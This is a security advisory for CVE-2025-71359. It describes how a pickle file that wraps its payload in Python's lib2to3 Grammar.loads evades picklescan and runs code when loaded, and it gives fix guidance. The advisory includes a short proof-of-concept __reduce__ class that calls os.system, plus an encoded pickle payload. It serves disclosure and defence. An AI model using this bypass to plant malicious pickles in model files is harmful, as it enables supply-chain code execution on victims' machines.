CVE-2025-71359

Description

### Summary Using lib2to3.pgen2.grammar.Grammar.loads, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to lib2to3.pgen2.grammar.Grammar.loads function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class Evil: def __reduce__(self): import os return (os.system, ('whoami',)) class EvilLib2to3Pgen2GrammarLoads: def __reduce__(self): from lib2to3.pgen2.grammar import Grammar payload = pickle.dumps(Evil()) # payload = b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.' return Grammar().loads, (payload,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu

How to fix CVE-2025-71359

To remediate CVE-2025-71359, upgrade the affected package to a fixed version below.

• —upgrade to 0.0.29 or later

Is CVE-2025-71359 being exploited?

Low — EPSS is 0.4%, meaning exploitation activity has not been observed at scale.

Affected packages (1)

• from 0, < 0.0.29